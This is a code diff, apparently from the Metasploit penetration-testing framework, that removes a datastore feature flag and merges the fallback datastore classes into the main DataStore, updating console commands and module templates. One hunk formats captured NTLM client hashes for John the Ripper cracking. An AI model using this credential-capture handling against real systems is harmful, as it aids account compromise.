def import_options_from_hash(option_hash, imported = true, imported_by = nil)
|
||||
merge!(option_hash)
|
||||
end
|
||||
|
||||
# Update defaults from a hash. These merged values are not validated by default.
|
||||
#
|
||||
# @param [Hash<String, Object>] hash The default values that should be used by the datastore
|
||||
# @param [Object] imported_by Who imported the defaults, not currently used
|
||||
# @return [nil]
|
||||
def import_defaults_from_hash(hash, imported_by:)
|
||||
@defaults.merge!(hash)
|
||||
end
|
||||
|
||||
# TODO: Doesn't normalize data in the same vein as:
|
||||
# https://github.com/rapid7/metasploit-framework/pull/6644
|
||||
# @deprecated Use {#import_options}
|
||||
def import_option(key, val, imported = true, imported_by = nil, option = nil)
|
||||
store(key, val)
|
||||
|
||||
if option
|
||||
option.aliases.each do |a|
|
||||
@aliases[a.downcase] = key.downcase
|
||||
end
|
||||
end
|
||||
@options[key] = option
|
||||
end
|
||||
|
||||
# @return [Array<String>] The array of user defined datastore values, and registered option names
|
||||
def keys
|
||||
(@user_defined.keys + @options.keys).uniq(&:downcase)
|
||||
end
|
||||
|
||||
# @return [Integer] The length of the registered keys
|
||||
def length
|
||||
keys.length
|
||||
end
|
||||
|
||||
alias count length
|
||||
alias size length
|
||||
|
||||
# @param [String] key
|
||||
# @return [TrueClass, FalseClass] True if the key is present in the user defined values, or within registered options. False otherwise.
|
||||
def key?(key)
|
||||
matching_key = find_key_case(key)
|
||||
keys.include?(matching_key)
|
||||
end
|
||||
|
||||
alias has_key? key?
|
||||
alias include? key?
|
||||
alias member? key?
|
||||
|
||||
#
|
||||
# Serializes the options in the datastore to a string.
|
||||
#
|
||||
def to_s(delim = ' ')
|
||||
str = ''
|
||||
|
||||
keys.sort.each { |key|
|
||||
str << "#{key}=#{self[key]}" + ((str.length) ? delim : '')
|
||||
}
|
||||
|
||||
str
|
||||
end
|
||||
|
||||
# Override Hash's to_h method so we can include the original case of each key
|
||||
# (failing to do this breaks a number of places in framework and pro that use
|
||||
# serialized datastores)
|
||||
def to_h
|
||||
datastore_hash = {}
|
||||
self.keys.each do |k|
|
||||
datastore_hash[k.to_s] = self[k].to_s
|
||||
end
|
||||
datastore_hash
|
||||
end
|
||||
|
||||
# Hack on a hack for the external modules
|
||||
def to_external_message_h
|
||||
datastore_hash = {}
|
||||
|
||||
array_nester = ->(arr) do
|
||||
if arr.first.is_a? Array
|
||||
arr.map &array_nester
|
||||
else
|
||||
arr.map { |item| item.to_s.dup.force_encoding('UTF-8') }
|
||||
end
|
||||
end
|
||||
|
||||
self.keys.each do |k|
|
||||
# TODO arbitrary depth
|
||||
if self[k].is_a? Array
|
||||
datastore_hash[k.to_s.dup.force_encoding('UTF-8')] = array_nester.call(self[k])
|
||||
else
|
||||
datastore_hash[k.to_s.dup.force_encoding('UTF-8')] = self[k].to_s.dup.force_encoding('UTF-8')
|
||||
end
|
||||
end
|
||||
datastore_hash
|
||||
end
|
||||
|
||||
#
|
||||
# Persists the contents of the data store to a file
|
||||
#
|
||||
def to_file(path, name = 'global')
|
||||
ini = Rex::Parser::Ini.new(path)
|
||||
|
||||
ini.add_group(name)
|
||||
|
||||
# Save all user-defined options to the file.
|
||||
@user_defined.each_pair { |k, v|
|
||||
ini[name][k] = v
|
||||
}
|
||||
|
||||
ini.to_file(path)
|
||||
end
|
||||
|
||||
#
|
||||
# Imports datastore values from the specified file path using the supplied
|
||||
# name
|
||||
#
|
||||
def from_file(path, name = 'global')
|
||||
begin
|
||||
ini = Rex::Parser::Ini.from_file(path)
|
||||
rescue
|
||||
return
|
||||
end
|
||||
|
||||
if ini.group?(name)
|
||||
merge!(ini[name])
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Return a copy of this datastore. Only string values will be duplicated, other values
|
||||
# will share the same reference
|
||||
# @return [Msf::DataStore] a new datastore instance
|
||||
def copy
|
||||
new_instance = self.class.new
|
||||
new_instance.copy_state(self)
|
||||
new_instance
|
||||
end
|
||||
|
||||
#
|
||||
# Merge the other object into the current datastore's aliases and imported hashes
|
||||
#
|
||||
# @param [Msf::Datastore, Hash] other
|
||||
def merge!(other)
|
||||
if other.is_a?(DataStoreWithFallbacks)
|
||||
self.aliases.merge!(other.aliases)
|
||||
self.options.merge!(other.options)
|
||||
self.defaults.merge!(other.defaults)
|
||||
other.user_defined.each do |k, v|
|
||||
@user_defined[find_key_case(k)] = v
|
||||
end
|
||||
else
|
||||
other.each do |k, v|
|
||||
self.store(k, v)
|
||||
end
|
||||
end
|
||||
|
||||
self
|
||||
end
|
||||
|
||||
alias update merge!
|
||||
|
||||
#
|
||||
# Reverse Merge the other object into the current datastore's aliases and imported hashes
|
||||
# Equivalent to ActiveSupport's reverse_merge! functionality.
|
||||
#
|
||||
# @param [Msf::Datastore] other
|
||||
def reverse_merge!(other)
|
||||
raise ArgumentError, "invalid error type #{other.class}, expected ::Msf::DataStore" unless other.is_a?(Msf::DataStoreWithFallbacks)
|
||||
|
||||
copy_state(other.merge(self))
|
||||
end
|
||||
|
||||
#
|
||||
# Override merge to ensure we merge the aliases and imported hashes
|
||||
#
|
||||
# @param [Msf::Datastore,Hash] other
|
||||
def merge(other)
|
||||
ds = self.copy
|
||||
ds.merge!(other)
|
||||
end
|
||||
|
||||
#
|
||||
# Completely clear all values in the data store
|
||||
#
|
||||
def clear
|
||||
self.options.clear
|
||||
self.aliases.clear
|
||||
self.defaults.clear
|
||||
self.user_defined.clear
|
||||
|
||||
self
|
||||
end
|
||||
|
||||
#
|
||||
# Overrides the builtin 'each' operator to avoid the following exception on Ruby 1.9.2+
|
||||
# "can't add a new key into hash during iteration"
|
||||
#
|
||||
def each(&block)
|
||||
list = []
|
||||
self.keys.sort.each do |sidx|
|
||||
list << [sidx, self[sidx]]
|
||||
end
|
||||
list.each(&block)
|
||||
end
|
||||
|
||||
alias each_pair each
|
||||
|
||||
def each_key(&block)
|
||||
self.keys.each(&block)
|
||||
end
|
||||
|
||||
#
|
||||
# Case-insensitive key lookup
|
||||
#
|
||||
# @return [String]
|
||||
def find_key_case(k)
|
||||
# Scan each alias looking for a key
|
||||
search_k = k.downcase
|
||||
if self.aliases.has_key?(search_k)
|
||||
search_k = self.aliases[search_k]
|
||||
end
|
||||
|
||||
# Check to see if we have an exact key match - otherwise we'll have to search manually to check case sensitivity
|
||||
if @user_defined.key?(search_k) || options.key?(search_k)
|
||||
return search_k
|
||||
end
|
||||
|
||||
# Scan each key looking for a match
|
||||
each_key do |rk|
|
||||
if rk.casecmp(search_k) == 0
|
||||
return rk
|
||||
end
|
||||
end
|
||||
|
||||
# Fall through to the non-existent value
|
||||
k
|
||||
end
|
||||
|
||||
# Search for a value within the current datastore, taking into consideration any registered aliases, fallbacks, etc.
|
||||
#
|
||||
# @param [String] key The key to search for
|
||||
# @return [DataStoreSearchResult]
|
||||
def search_for(key)
|
||||
k = find_key_case(key)
|
||||
return search_result(:user_defined, @user_defined[k]) if @user_defined.key?(k)
|
||||
|
||||
option = @options.fetch(k) { @options.find { |option_name, _option| option_name.casecmp?(k) }&.last }
|
||||
if option
|
||||
# If the key isn't present - check any additional fallbacks that have been registered with the option.
|
||||
# i.e. handling the scenario of SMBUser not being explicitly set, but the option has registered a more
|
||||
# generic 'Username' fallback
|
||||
option.fallbacks.each do |fallback|
|
||||
fallback_search = search_for(fallback)
|
||||
if fallback_search.found?
|
||||
return search_result(:option_fallback, fallback_search.value, fallback_key: fallback)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
# Checking for imported default values, ignoring case again
|
||||
imported_default_match = @defaults.find { |default_key, _default_value| default_key.casecmp?(k) }
|
||||
return search_result(:imported_default, imported_default_match.last) if imported_default_match
|
||||
return search_result(:option_default, option.default) if option
|
||||
|
||||
search_result(:not_found, nil)
|
||||
end
|
||||
|
||||
protected
|
||||
|
||||
# These defaults will be used if the user has not explicitly defined a specific datastore value.
|
||||
# These will be checked as a priority to any options that also provide defaults.
|
||||
#
|
||||
# @return [Hash{String => Msf::OptBase}] The hash of default values
|
||||
attr_accessor :defaults
|
||||
|
||||
# @return [Hash{String => String}] The key is the old option name, the value is the new option name
|
||||
attr_accessor :aliases
|
||||
|
||||
#
|
||||
# Copy the state from the other Msf::DataStore. The state will be coped in a shallow fashion, other than
|
||||
# imported and user_defined strings.
|
||||
#
|
||||
# @param [Msf::DataStore] other The other datastore to copy state from
|
||||
# @return [Msf::DataStore] the current datastore instance
|
||||
def copy_state(other)
|
||||
self.options = other.options.dup
|
||||
self.aliases = other.aliases.dup
|
||||
self.defaults = other.defaults.transform_values { |value| value.kind_of?(String) ? value.dup : value }
|
||||
self.user_defined = other.user_defined.transform_values { |value| value.kind_of?(String) ? value.dup : value }
|
||||
|
||||
self
|
||||
end
|
||||
|
||||
# Raised when the specified key is not found
|
||||
# @param [string] key
|
||||
def key_error_for(key)
|
||||
::KeyError.new "key not found: #{key.inspect}"
|
||||
end
|
||||
|
||||
#
|
||||
# Simple dataclass for storing the result of a datastore search
|
||||
#
|
||||
class DataStoreSearchResult
|
||||
# @return [String, nil] the key associated with the fallback value
|
||||
attr_reader :fallback_key
|
||||
|
||||
# @return [object, nil] The value if found
|
||||
attr_reader :value
|
||||
|
||||
def initialize(result, value, namespace: nil, fallback_key: nil)
|
||||
@namespace = namespace
|
||||
@result = result
|
||||
@value = value
|
||||
@fallback_key = fallback_key
|
||||
end
|
||||
|
||||
def default?
|
||||
result == :imported_default || result == :option_default || !found?
|
||||
end
|
||||
|
||||
def found?
|
||||
result != :not_found
|
||||
end
|
||||
|
||||
def fallback?
|
||||
result == :option_fallback
|
||||
end
|
||||
|
||||
def global?
|
||||
namespace == :global_data_store && found?
|
||||
end
|
||||
|
||||
protected
|
||||
|
||||
# @return [Symbol] namespace Where the search result was found, i.e. a module datastore or global datastore
|
||||
attr_reader :namespace
|
||||
|
||||
# @return [Symbol] result is one of `user_defined`, `not_found`, `option_fallback`, `option_default`, `imported_default`
|
||||
attr_reader :result
|
||||
end
|
||||
|
||||
def search_result(result, value, fallback_key: nil)
|
||||
DataStoreSearchResult.new(result, value, namespace: :global_data_store, fallback_key: fallback_key)
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
@@ -54,12 +54,14 @@ module Msf
|
||||
case ntlm_message.ntlm_version
|
||||
when :ntlmv1, :ntlm2_session
|
||||
hash_type = 'NTLMv1-SSP'
|
||||
jtr_format = Metasploit::Framework::Hashes::JTR_NTLMV1
|
||||
client_hash = "#{bin_to_hex(ntlm_message.lm_response)}:#{bin_to_hex(ntlm_message.ntlm_response)}"
|
||||
|
||||
combined_hash << ":#{client_hash}"
|
||||
combined_hash << ":#{bin_to_hex(challenge)}"
|
||||
when :ntlmv2
|
||||
hash_type = 'NTLMv2-SSP'
|
||||
jtr_format = Metasploit::Framework::Hashes::JTR_NTLMV2
|
||||
client_hash = "#{bin_to_hex(ntlm_message.ntlm_response[0...16])}:#{bin_to_hex(ntlm_message.ntlm_response[16..-1])}"
|
||||
|
||||
combined_hash << ":#{bin_to_hex(challenge)}"
|
||||
@@ -68,8 +70,6 @@ module Msf
|
||||
|
||||
return if hash_type.nil?
|
||||
|
||||
jtr_format = ntlm_message.ntlm_version == :ntlmv1 ? Metasploit::Framework::Hashes::JTR_NTLMV1 : Metasploit::Framework::Hashes::JTR_NTLMV2
|
||||
|
||||
if active_db?
|
||||
origin = create_credential_origin_service(
|
||||
{
|
||||
|
||||
@@ -15,7 +15,6 @@ module Msf
|
||||
|
||||
CONFIG_KEY = 'framework/features'
|
||||
WRAPPED_TABLES = 'wrapped_tables'
|
||||
DATASTORE_FALLBACKS = 'datastore_fallbacks'
|
||||
FULLY_INTERACTIVE_SHELLS = 'fully_interactive_shells'
|
||||
MANAGER_COMMANDS = 'manager_commands'
|
||||
METASPLOIT_PAYLOAD_WARNINGS = 'metasploit_payload_warnings'
|
||||
@@ -49,13 +48,6 @@ module Msf
|
||||
default_value: false,
|
||||
developer_notes: 'Useful for developers, likely not to ever be useful for an average user'
|
||||
}.freeze,
|
||||
{
|
||||
name: DATASTORE_FALLBACKS,
|
||||
description: 'When enabled you can consistently set username across modules, instead of setting SMBUser/FTPUser/BIND_DN/etc',
|
||||
requires_restart: true,
|
||||
default_value: true,
|
||||
developer_notes: 'This functionality is enabled by default now, and the feature flag can be removed now'
|
||||
}.freeze,
|
||||
{
|
||||
name: METASPLOIT_PAYLOAD_WARNINGS,
|
||||
description: 'When enabled Metasploit will output warnings about missing Metasploit payloads, for instance if they were removed by antivirus etc',
|
||||
|
||||
@@ -136,7 +136,7 @@ module Msf
|
||||
self.options.add_evasion_options(info['EvasionOptions'], self.class)
|
||||
|
||||
# Create and initialize the data store for this module
|
||||
self.datastore = ModuleDataStore.new(self)
|
||||
self.datastore = Msf::ModuleDataStore.new(self)
|
||||
|
||||
# Import default options into the datastore
|
||||
import_defaults
|
||||
|
||||
@@ -21,7 +21,7 @@ module Msf::Module::DataStore
|
||||
|
||||
# If there are default options, import their values into the datastore
|
||||
if (module_info['DefaultOptions'])
|
||||
if datastore.is_a?(Msf::DataStoreWithFallbacks)
|
||||
if datastore.is_a?(Msf::DataStore)
|
||||
self.datastore.import_defaults_from_hash(module_info['DefaultOptions'], imported_by: 'import_defaults')
|
||||
else
|
||||
self.datastore.import_options_from_hash(module_info['DefaultOptions'], true, 'self')
|
||||
@@ -38,7 +38,7 @@ module Msf::Module::DataStore
|
||||
def import_target_defaults
|
||||
return unless defined?(targets) && targets && target && target.default_options
|
||||
|
||||
if self.datastore.is_a?(Msf::ModuleDataStoreWithFallbacks)
|
||||
if self.datastore.is_a?(Msf::ModuleDataStore)
|
||||
datastore.import_defaults_from_hash(target.default_options, imported_by: 'import_target_defaults')
|
||||
else
|
||||
datastore.import_options_from_hash(target.default_options, true, 'self')
|
||||
|
||||
@@ -30,7 +30,7 @@ module Msf::Module::Options
|
||||
def deregister_options(*names)
|
||||
names.each { |name|
|
||||
real_name = self.datastore.find_key_case(name)
|
||||
if self.datastore.is_a?(Msf::DataStoreWithFallbacks)
|
||||
if self.datastore.is_a?(Msf::DataStore)
|
||||
self.datastore.remove_option(name)
|
||||
else
|
||||
self.datastore.delete(name)
|
||||
|
||||
@@ -10,20 +10,7 @@ module Msf
|
||||
###
|
||||
class ModuleDataStore < DataStore
|
||||
|
||||
# Temporary forking logic for conditionally using the {Msf::ModuleDatastoreWithFallbacks} implementation.
|
||||
#
|
||||
# This method replaces the default `ModuleDataStore.new` with the ability to instantiate the `ModuleDataStoreWithFallbacks`
|
||||
# class instead, if the feature is enabled
|
||||
def self.new(m)
|
||||
if Msf::FeatureManager.instance.enabled?(Msf::FeatureManager::DATASTORE_FALLBACKS)
|
||||
return Msf::ModuleDataStoreWithFallbacks.new(m)
|
||||
end
|
||||
|
||||
instance = allocate
|
||||
instance.send(:initialize, m)
|
||||
instance
|
||||
end
|
||||
|
||||
# @param [Msf::Module] m
|
||||
def initialize(m)
|
||||
super()
|
||||
|
||||
@@ -31,51 +18,63 @@ module Msf
|
||||
end
|
||||
|
||||
#
|
||||
# Fetch the key from the local hash first, or from the framework datastore
|
||||
# if we can't directly find it
|
||||
#
|
||||
def fetch(key)
|
||||
key = find_key_case(key)
|
||||
val = nil
|
||||
val = super if(@imported_by[key] != 'self')
|
||||
if (val.nil? and @_module and @_module.framework)
|
||||
val = @_module.framework.datastore[key]
|
||||
end
|
||||
val = super if val.nil?
|
||||
val
|
||||
end
|
||||
|
||||
#
|
||||
# Same as fetch
|
||||
#
|
||||
def [](key)
|
||||
key = find_key_case(key)
|
||||
val = nil
|
||||
val = super if(@imported_by[key] != 'self')
|
||||
if (val.nil? and @_module and @_module.framework)
|
||||
val = @_module.framework.datastore[key]
|
||||
end
|
||||
val = super if val.nil?
|
||||
val
|
||||
end
|
||||
|
||||
#
|
||||
# Was this entry actually set or just using its default
|
||||
#
|
||||
def default?(key)
|
||||
(@imported_by[key] == 'self')
|
||||
end
|
||||
|
||||
#
|
||||
# Return a deep copy of this datastore.
|
||||
#
|
||||
# Return a copy of this datastore. Only string values will be duplicated, other values
|
||||
# will share the same reference
|
||||
# @return [Msf::DataStore] a new datastore instance
|
||||
def copy
|
||||
ds = self.class.new(@_module)
|
||||
self.keys.each do |k|
|
||||
ds.import_option(k, self[k].kind_of?(String) ? self[k].dup : self[k], @imported[k], @imported_by[k])
|
||||
new_instance = self.class.new(@_module)
|
||||
new_instance.copy_state(self)
|
||||
new_instance
|
||||
end
|
||||
|
||||
# Search for a value within the current datastore, taking into consideration any registered aliases, fallbacks, etc.
|
||||
# If a value is not present in the current datastore, the global parent store will be referenced instead
|
||||
#
|
||||
# @param [String] key The key to search for
|
||||
# @return [DataStoreSearchResult]
|
||||
def search_for(key)
|
||||
k = find_key_case(key)
|
||||
return search_result(:user_defined, @user_defined[k]) if @user_defined.key?(k)
|
||||
|
||||
# Preference globally set values over a module's option default
|
||||
framework_datastore_search = search_framework_datastore(key)
|
||||
return framework_datastore_search if framework_datastore_search.found? && !framework_datastore_search.default?
|
||||
|
||||
option = @options.fetch(k) { @options.find { |option_name, _option| option_name.casecmp?(k) }&.last }
|
||||
if option
|
||||
# If the key isn't present - check any additional fallbacks that have been registered with the option.
|
||||
# i.e. handling the scenario of SMBUser not being explicitly set, but the option has registered a more
|
||||
# generic 'Username' fallback
|
||||
option.fallbacks.each do |fallback|
|
||||
fallback_search = search_for(fallback)
|
||||
if fallback_search.found?
|
||||
return search_result(:option_fallback, fallback_search.value, fallback_key: fallback)
|
||||
end
|
||||
end
|
||||
end
|
||||
ds.aliases = self.aliases.dup
|
||||
ds
|
||||
|
||||
# Checking for imported default values, ignoring case again TODO: add Alias test for this
|
||||
imported_default_match = @defaults.find { |default_key, _default_value| default_key.casecmp?(k) }
|
||||
return search_result(:imported_default, imported_default_match.last) if imported_default_match
|
||||
return search_result(:option_default, option.default) if option
|
||||
|
||||
search_framework_datastore(k)
|
||||
end
|
||||
|
||||
protected
|
||||
|
||||
# Search the framework datastore
|
||||
#
|
||||
# @param [String] key The key to search for
|
||||
# @return [DataStoreSearchResult]
|
||||
def search_framework_datastore(key)
|
||||
return search_result(:not_found, nil) if @_module&.framework.nil?
|
||||
|
||||
@_module.framework.datastore.search_for(key)
|
||||
end
|
||||
|
||||
def search_result(result, value, fallback_key: nil)
|
||||
DataStoreSearchResult.new(result, value, namespace: :module_data_store, fallback_key: fallback_key)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
@@ -1,80 +0,0 @@
|
||||
# -*- coding: binary -*-
|
||||
module Msf
|
||||
|
||||
###
|
||||
#
|
||||
# DataStore wrapper for modules that will attempt to back values against the
|
||||
# framework's datastore if they aren't found in the module's datastore. This
|
||||
# is done to simulate global data store values.
|
||||
#
|
||||
###
|
||||
class ModuleDataStoreWithFallbacks < DataStoreWithFallbacks
|
||||
|
||||
# @param [Msf::Module] m
|
||||
def initialize(m)
|
||||
super()
|
||||
|
||||
@_module = m
|
||||
end
|
||||
|
||||
#
|
||||
# Return a copy of this datastore. Only string values will be duplicated, other values
|
||||
# will share the same reference
|
||||
# @return [Msf::DataStore] a new datastore instance
|
||||
def copy
|
||||
new_instance = self.class.new(@_module)
|
||||
new_instance.copy_state(self)
|
||||
new_instance
|
||||
end
|
||||
|
||||
# Search for a value within the current datastore, taking into consideration any registered aliases, fallbacks, etc.
|
||||
# If a value is not present in the current datastore, the global parent store will be referenced instead
|
||||
#
|
||||
# @param [String] key The key to search for
|
||||
# @return [DataStoreSearchResult]
|
||||
def search_for(key)
|
||||
k = find_key_case(key)
|
||||
return search_result(:user_defined, @user_defined[k]) if @user_defined.key?(k)
|
||||
|
||||
# Preference globally set values over a module's option default
|
||||
framework_datastore_search = search_framework_datastore(key)
|
||||
return framework_datastore_search if framework_datastore_search.found? && !framework_datastore_search.default?
|
||||
|
||||
option = @options.fetch(k) { @options.find { |option_name, _option| option_name.casecmp?(k) }&.last }
|
||||
if option
|
||||
# If the key isn't present - check any additional fallbacks that have been registered with the option.
|
||||
# i.e. handling the scenario of SMBUser not being explicitly set, but the option has registered a more
|
||||
# generic 'Username' fallback
|
||||
option.fallbacks.each do |fallback|
|
||||
fallback_search = search_for(fallback)
|
||||
if fallback_search.found?
|
||||
return search_result(:option_fallback, fallback_search.value, fallback_key: fallback)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
# Checking for imported default values, ignoring case again TODO: add Alias test for this
|
||||
imported_default_match = @defaults.find { |default_key, _default_value| default_key.casecmp?(k) }
|
||||
return search_result(:imported_default, imported_default_match.last) if imported_default_match
|
||||
return search_result(:option_default, option.default) if option
|
||||
|
||||
search_framework_datastore(k)
|
||||
end
|
||||
|
||||
protected
|
||||
|
||||
# Search the framework datastore
|
||||
#
|
||||
# @param [String] key The key to search for
|
||||
# @return [DataStoreSearchResult]
|
||||
def search_framework_datastore(key)
|
||||
return search_result(:not_found, nil) if @_module&.framework.nil?
|
||||
|
||||
@_module.framework.datastore.search_for(key)
|
||||
end
|
||||
|
||||
def search_result(result, value, fallback_key: nil)
|
||||
DataStoreSearchResult.new(result, value, namespace: :module_data_store, fallback_key: fallback_key)
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -27,7 +27,7 @@ class MetasploitModule < Msf::Auxiliary
|
||||
|
||||
def run_batch(ips)
|
||||
datastore.delete('RHOSTS')
|
||||
datastore.remove_option('RHOSTS') if self.datastore.is_a?(Msf::DataStoreWithFallbacks)
|
||||
datastore.remove_option('RHOSTS') if self.datastore.is_a?(Msf::DataStore)
|
||||
datastore['rhosts'] = ips
|
||||
|
||||
execute_module(<%= meta[:path] %>)
|
||||
|
||||
@@ -24,7 +24,7 @@ class MetasploitModule < Msf::Auxiliary
|
||||
def run_host(ip)
|
||||
print_status("Running for #{ip}...")
|
||||
rhost = datastore.delete('RHOST')
|
||||
datastore.remove_option('RHOST') if self.datastore.is_a?(Msf::DataStoreWithFallbacks)
|
||||
datastore.remove_option('RHOST') if self.datastore.is_a?(Msf::DataStore)
|
||||
datastore['rhost'] = rhost
|
||||
datastore['userpass'] ||= build_credentials_array
|
||||
datastore['sleep_interval'] ||= userpass_interval
|
||||
|
||||
@@ -23,7 +23,7 @@ class MetasploitModule < Msf::Auxiliary
|
||||
def run_host(ip)
|
||||
print_status("Running for #{ip}...")
|
||||
rhost = datastore.delete('RHOST')
|
||||
datastore.remove_option('RHOST') if self.datastore.is_a?(Msf::DataStoreWithFallbacks)
|
||||
datastore.remove_option('RHOST') if self.datastore.is_a?(Msf::DataStore)
|
||||
datastore['rhost'] = rhost
|
||||
execute_module(<%= meta[:path] %>)
|
||||
end
|
||||
|
||||
@@ -36,7 +36,7 @@ module Msf
|
||||
# Validates that any registered and required options are set
|
||||
#
|
||||
# @param options [Array<Msf::OptBase>] A modules registered options
|
||||
# @param datastore [Msf::DataStore|Msf::DataStoreWithFallbacks] A modules datastore
|
||||
# @param datastore [Msf::DataStore|Msf::DataStore] A modules datastore
|
||||
def validate(options, datastore)
|
||||
issues = {}
|
||||
required_options.each do |option_name|
|
||||
|
||||
@@ -475,7 +475,7 @@ class Payload < Msf::Module
|
||||
lhost = mod.datastore['LHOST'] || Rex::Socket.source_address(mod.datastore['RHOST'] || '50.50.50.50')
|
||||
|
||||
configure_payload = lambda do |payload|
|
||||
if mod.datastore.is_a?(Msf::DataStoreWithFallbacks)
|
||||
if mod.datastore.is_a?(Msf::DataStore)
|
||||
payload_defaults = { 'PAYLOAD' => payload }
|
||||
|
||||
# Set LHOST if this is a reverse payload
|
||||
|
||||
@@ -65,7 +65,7 @@ module Msf
|
||||
return unless block_given?
|
||||
|
||||
parse(@value, @datastore).each do |result|
|
||||
block.call(result) if result.is_a?(Msf::DataStore) || result.is_a?(Msf::DataStoreWithFallbacks)
|
||||
block.call(result) if result.is_a?(Msf::DataStore)
|
||||
end
|
||||
|
||||
nil
|
||||
@@ -99,7 +99,7 @@ module Msf
|
||||
# @return [Boolean] True if all items are valid, and there are at least some items present to iterate over. False otherwise.
|
||||
def valid?
|
||||
parsed_values = parse(@value, @datastore)
|
||||
parsed_values.all? { |result| result.is_a?(Msf::DataStore) || result.is_a?(Msf::DataStoreWithFallbacks) } && parsed_values.count > 0
|
||||
parsed_values.all? { |result| result.is_a?(Msf::DataStore) } && parsed_values.count > 0
|
||||
rescue StandardError => e
|
||||
elog('rhosts walker invalid', error: e)
|
||||
false
|
||||
|
||||
@@ -64,7 +64,7 @@ class RPC_Core < RPC_Base
|
||||
# @example Here's how you would use this from the client:
|
||||
# rpc.call('core.unsetg', 'MyGlobal')
|
||||
def rpc_unsetg(var)
|
||||
if framework.datastore.is_a?(Msf::DataStoreWithFallbacks)
|
||||
if framework.datastore.is_a?(Msf::DataStore)
|
||||
framework.datastore.unset(var)
|
||||
else
|
||||
framework.datastore.delete(var)
|
||||
|
||||
@@ -2081,7 +2081,7 @@ class Core
|
||||
print_line "datastore. Use -g to operate on the global datastore."
|
||||
print_line
|
||||
print_line "If setting a PAYLOAD, this command can take an index from `show payloads'."
|
||||
print @@set_opts.usage if framework.features.enabled?(Msf::FeatureManager::DATASTORE_FALLBACKS)
|
||||
print @@set_opts.usage
|
||||
print_line
|
||||
end
|
||||
|
||||
@@ -2103,7 +2103,7 @@ class Core
|
||||
elsif args[0] == '-a'
|
||||
args.shift
|
||||
append = true
|
||||
elsif (args[0] == '-c' || args[0] == '--clear') && framework.features.enabled?(Msf::FeatureManager::DATASTORE_FALLBACKS)
|
||||
elsif (args[0] == '-c' || args[0] == '--clear')
|
||||
args.shift
|
||||
clear = true
|
||||
else
|
||||
@@ -2271,7 +2271,7 @@ class Core
|
||||
print_line "Usage: setg [option] [value]"
|
||||
print_line
|
||||
print_line "Exactly like set -g, set a value in the global datastore."
|
||||
print @@setg_opts.usage if framework.features.enabled?(Msf::FeatureManager::DATASTORE_FALLBACKS)
|
||||
print @@setg_opts.usage
|
||||
print_line
|
||||
end
|
||||
|
||||
@@ -2433,83 +2433,18 @@ class Core
|
||||
end
|
||||
|
||||
def cmd_unset_help
|
||||
if framework.features.enabled?(Msf::FeatureManager::DATASTORE_FALLBACKS)
|
||||
print_line "Usage: unset [-g] var1 var2 var3 ..."
|
||||
print_line
|
||||
print_line "The unset command is used to unset one or more variables."
|
||||
print_line "To flush all entries, specify 'all' as the variable name."
|
||||
print_line "With -g, operates on global datastore variables."
|
||||
print_line
|
||||
else
|
||||
print_line "Usage: unset [options] var1 var2 var3 ..."
|
||||
print_line
|
||||
print_line "The unset command is used to unset one or more variables which have been set by the user."
|
||||
print_line "To update all entries, specify 'all' as the variable name."
|
||||
print @@unset_opts.usage
|
||||
print_line
|
||||
end
|
||||
print_line "Usage: unset [-g] var1 var2 var3 ..."
|
||||
print_line
|
||||
print_line "The unset command is used to unset one or more variables."
|
||||
print_line "To flush all entries, specify 'all' as the variable name."
|
||||
print_line "With -g, operates on global datastore variables."
|
||||
print_line
|
||||
end
|
||||
|
||||
#
|
||||
# Unsets a value if it's been set.
|
||||
#
|
||||
def cmd_unset(*args)
|
||||
if framework.features.enabled?(Msf::FeatureManager::DATASTORE_FALLBACKS)
|
||||
return cmd_unset_with_fallbacks(*args)
|
||||
end
|
||||
|
||||
# Figure out if these are global variables
|
||||
global = false
|
||||
|
||||
if (args[0] == '-g')
|
||||
args.shift
|
||||
global = true
|
||||
end
|
||||
|
||||
# Determine which data store we're operating on
|
||||
if (active_module and global == false)
|
||||
datastore = active_module.datastore
|
||||
else
|
||||
datastore = framework.datastore
|
||||
end
|
||||
|
||||
# No arguments? No cookie.
|
||||
if (args.length == 0)
|
||||
cmd_unset_help
|
||||
return false
|
||||
end
|
||||
|
||||
# If all was specified, then flush all of the entries
|
||||
if args[0] == 'all'
|
||||
print_line("Flushing datastore...")
|
||||
|
||||
# Re-import default options into the module's datastore
|
||||
if (active_module and global == false)
|
||||
active_module.import_defaults
|
||||
# Or simply clear the global datastore
|
||||
else
|
||||
datastore.clear
|
||||
end
|
||||
|
||||
return true
|
||||
end
|
||||
|
||||
while ((val = args.shift))
|
||||
if (driver.on_variable_unset(global, val) == false)
|
||||
print_error("The variable #{val} cannot be unset at this time.")
|
||||
next
|
||||
end
|
||||
|
||||
print_line("Unsetting #{val}...")
|
||||
|
||||
datastore.delete(val)
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Unsets a value if it's been set, resetting the value back to a default value
|
||||
#
|
||||
def cmd_unset_with_fallbacks(*args)
|
||||
if args.include?('-h') || args.include?('--help')
|
||||
cmd_unset_help
|
||||
return
|
||||
@@ -2591,7 +2526,7 @@ class Core
|
||||
print_line "Usage: unsetg [options] var1 var2 var3 ..."
|
||||
print_line
|
||||
print_line "Exactly like unset -g, unset global variables, or all"
|
||||
print @@unsetg_opts.usage if framework.features.enabled?(Msf::FeatureManager::DATASTORE_FALLBACKS)
|
||||
print @@unsetg_opts.usage
|
||||
print_line
|
||||
end
|
||||
|
||||
|
||||
@@ -611,10 +611,6 @@ protected
|
||||
return false
|
||||
elsif active_module && (active_module.exploit? || active_module.evasion?)
|
||||
return false unless active_module.is_payload_compatible?(val)
|
||||
elsif active_module && !framework.features.enabled?(Msf::FeatureManager::DATASTORE_FALLBACKS)
|
||||
active_module.datastore.clear_non_user_defined
|
||||
elsif framework && !framework.features.enabled?(Msf::FeatureManager::DATASTORE_FALLBACKS)
|
||||
framework.datastore.clear_non_user_defined
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
@@ -17,10 +17,10 @@ module Msf
|
||||
# stage since the command itself has been completed.
|
||||
def tab_complete_datastore_names(datastore, _str, _words)
|
||||
keys = (
|
||||
Msf::DataStoreWithFallbacks::GLOBAL_KEYS +
|
||||
Msf::DataStore::GLOBAL_KEYS +
|
||||
datastore.keys
|
||||
)
|
||||
